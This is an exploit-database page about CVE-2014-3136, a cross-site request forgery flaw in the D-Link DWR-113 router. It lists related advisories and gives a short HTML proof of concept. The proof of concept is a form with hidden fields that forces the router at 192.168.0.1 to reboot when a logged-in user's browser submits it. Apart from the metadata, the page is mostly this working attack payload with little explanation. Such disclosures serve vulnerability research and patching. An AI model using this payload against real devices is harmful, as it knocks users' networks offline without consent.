Dlink DWR-113 Rev. Ax - CSRF Denial of Service

🗓️ 01 Aug 2014 00:00:00Reported by Blessen ThomasType

zdt🔗 0day.today👁 35 Views

D-link DWR-113 Rev. Ax CSRF Denial of Service vulnerabilit

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2014-3136	18 Mar 202408:11	–	circl
CVE	CVE-2014-3136	27 Dec 201920:14	–	cve
Cvelist	CVE-2014-3136	27 Dec 201920:14	–	cvelist
Exploit DB	D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery / Denial of Service	30 Jul 201400:00	–	exploitdb
EUVD	EUVD-2014-3156	7 Oct 202500:30	–	euvd
exploitpack	D-Link DWR-113 Rev. Ax - Cross-Site Request Forgery Denial of Service	30 Jul 201400:00	–	exploitpack
NVD	CVE-2014-3136	27 Dec 201921:15	–	nvd
Packet Storm	D-Link DWR-113 Cross Site Request Forgery	30 Jul 201400:00	–	packetstorm
Prion	Cross site request forgery (csrf)	27 Dec 201921:15	–	prion
seebug.org	Dlink DWR-113 Rev. Ax - CSRF Denial of Service	4 Aug 201400:00	–	seebug

*Restart Router by CSRF*
 
 
 
<html>
 
  <!-- CSRF PoC --->
 
  <body>
 
    <form action="http://192.168.0.1/rebo.htm">
 
      <input type="hidden" name="S00010002" value="test" />
 
      <input type="hidden" name="np2" value="test" />
 
      <input type="hidden" name="N00150004" value="0" />
 
      <input type="hidden" name="N00150001" value="" />
 
      <input type="hidden" name="N00150003" value="1080" />
 
      <input type="hidden" name="_cce" value="0x80150002" />
 
      <input type="hidden" name="_sce" value="%Ssc" />
 
      <input type="submit" value="Submit request" />
 
    </form>
 
  </body>
 
</html>
 
 
 
 
 
Tools used :
 
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5

#  0day.today [2018-02-18]  #

01 Aug 2014 00:00Current

8.7High risk

Vulners AI Score8.7

EPSS0.00799